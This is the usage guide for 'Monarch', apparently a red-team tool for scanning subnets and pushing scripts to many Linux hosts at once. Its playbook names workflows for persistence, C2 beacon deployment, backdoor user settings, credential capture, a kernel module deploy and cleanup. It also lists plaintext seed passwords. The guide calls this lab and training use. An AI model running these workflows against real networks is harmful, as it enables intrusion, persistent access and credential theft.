Skip to content

USAGE.md

Latest commit

 

History

History
340 lines (231 loc) · 6.22 KB

USAGE.md

File metadata and controls

340 lines (231 loc) · 6.22 KB

Monarch Usage Guide

This guide covers the normal day-to-day workflow for Monarch.

1) Start Monarch

From the repository root:

cd monarch
./run_monarch.sh

Or directly:

python3 -m monarch repl

1.1) Initialize Runtime Config (Recommended)

Create the config file once:

python3 -m monarch config init

This creates monarch.runtime.json in the monarch/ directory. Set values there once instead of exporting environment variables each run.

Key variables commonly used by scripts:

  • C2_URL
  • PUBKEY
  • SERVICE_NAME
  • BEACON_PATH
  • BEACON_URL
  • BEACON_NAME
  • CRON_MINUTE
  • CRON_HOUR
  • EXFIL_URL
  • LOG_FILE
  • BACKDOOR_USER
  • BACKDOOR_PASS

Template replacement behavior:

  • Before each script upload/execute, Monarch replaces placeholders in script text.
  • Placeholder format: {{KEY}}
  • Values are pulled from monarch.runtime.json -> variables.
  • If any placeholder remains unresolved, Monarch now aborts execution with a clear error.

If you updated Monarch and your existing config is missing new keys:

python3 -m monarch config init

Then copy any missing keys from the new defaults into your current monarch.runtime.json.

2) Discover and Register Hosts

Scan a subnet and seed passwords:

python3 -m monarch scan 10.100.40.0/24 password1 password2

List known hosts:

python3 -m monarch list

Add one host manually:

python3 -m monarch add 10.100.40.50 MyPassword!

3) Target Selection

Selector syntax:

  • all
  • tag:<value>
  • subnet:<prefix>
  • port:<number>
  • alias:<glob>

Examples:

python3 -m monarch check -S "all"
python3 -m monarch check -S "subnet:10.100.40"
python3 -m monarch check -S "alias:san*"
python3 -m monarch script -S "tag:web port:22" recon.sh

4) Preflight Check

Run authentication checks before larger operations:

python3 -m monarch check -S "all"

5) Run Scripts Safely

Preview targets and script first:

python3 -m monarch script --dry-run -S "subnet:10.100.40" recon.sh

Require confirmation:

python3 -m monarch script --confirm -S "subnet:10.100.40" recon.sh

Run on a single host:

python3 -m monarch script -H san recon.sh

6) Upload and Download

Upload script/file to selected hosts:

python3 -m monarch upload recon.sh -S "subnet:10.100.40"

Download remote directory/file:

python3 -m monarch download /root/initial_backs -S "alias:san*"

7) Operations Tracking

List historical runs:

python3 -m monarch ops list

Show one operation:

python3 -m monarch ops status <op_id>

8) Host Management

Edit host data:

python3 -m monarch edit san password NewPassword!
python3 -m monarch edit san alias web-01
python3 -m monarch edit san port 2222

Remove host:

python3 -m monarch remove san

9) Interactive REPL

Start REPL:

python3 -m monarch repl

Useful REPL notes:

  • Tab completion is enabled for commands.
  • Prompt shows host count.
  • exit leaves REPL.

10) Built-in Help

Top-level help:

python3 -m monarch help

Command-specific help:

python3 -m monarch help script
python3 -m monarch help check
python3 -m monarch help ops

11) Operator Playbook

This playbook gives repeatable workflows using scripts currently in monarch/scripts/linux-red-teaming.

A) Initial Host Triage

  1. Run discovery.
python3 -m monarch scan 10.100.40.0/24 password1 password2
python3 -m monarch list
  1. Preflight check all discovered hosts.
python3 -m monarch check -S "all"
  1. Run recon collection first.
python3 -m monarch script --confirm -S "all" recon.sh
  1. Inspect operation output.
python3 -m monarch ops list
python3 -m monarch ops status <op_id>

B) Persistence and Access (Controlled Lab Use)

Use persist.sh for consistent install instead of one-off legacy scripts.

  1. Dry run target resolution.
python3 -m monarch script --dry-run -S "subnet:10.100.40" persist.sh
  1. Configure values in monarch.runtime.json and execute.
python3 -m monarch script --confirm -S "subnet:10.100.40" persist.sh
  1. Verify host auth still works.
python3 -m monarch check -S "subnet:10.100.40"

C) Beacon Deployment Workflow

Use beacon_deploy.sh for repeatable deployment and scheduling.

python3 -m monarch script --confirm -S "alias:san*" beacon_deploy.sh

D) Credential Capture Drill (Training Scenario)

Use the managed pair: cred_capture.sh and cred_capture_reverse.sh.

python3 -m monarch script --confirm -S "tag:web" cred_capture.sh

Rollback:

python3 -m monarch script --confirm -S "tag:web" cred_capture_reverse.sh

E) Host Cleanup and Exit

Use cleanup.sh for broad cleanup and then clear.sh for residual script files.

python3 -m monarch script --confirm -S "all" cleanup.sh
python3 -m monarch script --confirm -S "all" clear.sh

12) Built-in Workflows

List available workflows from config:

python3 -m monarch workflow list

Run workflow as-is:

python3 -m monarch workflow run triage

Override selector for all steps in a workflow:

python3 -m monarch workflow run persistence -S "subnet:10.100.40"

Dry run workflow:

python3 -m monarch workflow run cleanup --dry-run

13) Usual Workflow:

python3 -m monarch scan 10.100.28.0/24 'WaterIsWet??'
python3 -m monarch scan 10.100.30.0/24 'SolarIsLight!!'
python3 -m monarch check -S "all" --remove-failed
python3 -m monarch profile

deploy persistence and cred_capture

python3 -m monarch workflow run persistence
python3 -m monarch workflow run capture
python3 -m monarch script -S "all" deploy-kernel-module.sh

F) Legacy Script Mapping

Prefer these newer scripts for consistency:

  • persist.sh instead of: systemd_persist.sh, add_pubkey.sh, motd_poison.sh
  • beacon_deploy.sh instead of: beacon_go.sh, deploy_beacon.sh, deploy_beacon2.sh
  • cred_capture.sh and cred_capture_reverse.sh instead of ad hoc variants
  • recon.sh for structured collection
  • cleanup.sh for complete rollback, then clear.sh

Use legacy scripts only when you intentionally need their exact behavior.